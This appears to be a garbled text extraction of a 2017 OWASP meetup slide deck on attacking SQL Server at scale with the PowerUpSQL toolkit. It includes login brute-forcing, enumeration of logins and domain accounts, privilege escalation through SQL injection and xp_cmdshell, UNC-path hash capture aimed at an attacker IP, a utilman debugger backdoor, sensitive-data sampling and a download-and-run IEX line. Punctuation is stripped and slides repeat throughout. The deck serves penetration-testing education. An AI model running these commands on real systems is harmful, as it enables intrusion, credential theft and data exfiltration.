SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 3: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Presentation Overview Why SQL Server and PowerShell

PowerUpSQL Overview

Finding amp Accessing SQL Servers

Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation

Post Exploitation Activities

General Recommendations

Why SQL Server Used in most enterprise environments

Supports local Windows and Domain authentication

Integrates with lots of Windows applications

Generally has trust relationships that other donrsquot

Why PowerShell Native to Windows

Run commands in memory

Run managed net code

Run unmanaged code

Avoid detection by legacy Anti-virus

Already flagged as trusted by most application whitelist solutions

A medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)

Scalability via runspace threading Flexibility via pipeline support

ps objects and data tables Portability

o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file

Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential

PowerUpSQL Overview Functions

Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd

httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

